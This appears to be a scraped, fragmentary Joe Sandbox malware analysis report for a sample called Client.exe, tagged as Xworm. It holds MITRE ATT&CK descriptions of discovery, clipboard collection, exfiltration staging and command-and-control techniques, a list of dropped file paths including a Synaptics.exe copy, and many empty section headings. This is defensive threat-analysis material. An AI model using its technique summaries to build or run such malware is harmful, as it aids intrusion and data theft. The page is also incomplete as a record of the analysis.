Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Client.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Microsoft Office\root\vfs\Common AppData\Microsoft\OFFICE\Heartbeat\HeartbeatCache.xml

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Synaptics.exe_fb1bf96a5f9d95323c844b5818a2571d831030bc_7e550805_b635f97a-8b31-4315-929a-035df9a7d6bc\Report.wer

C:\ProgramData\Microsoft\Windows\WER\Temp\WERBE23.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE38E.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE3AF.tmp.xml

C:\ProgramData\Synaptics\RCXEF1B.tmp

C:\ProgramData\Synaptics\Synaptics.exe

C:\ProgramData\Synaptics\Synaptics.exe:Zone.Identifier

Windows Analysis Report
Client.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre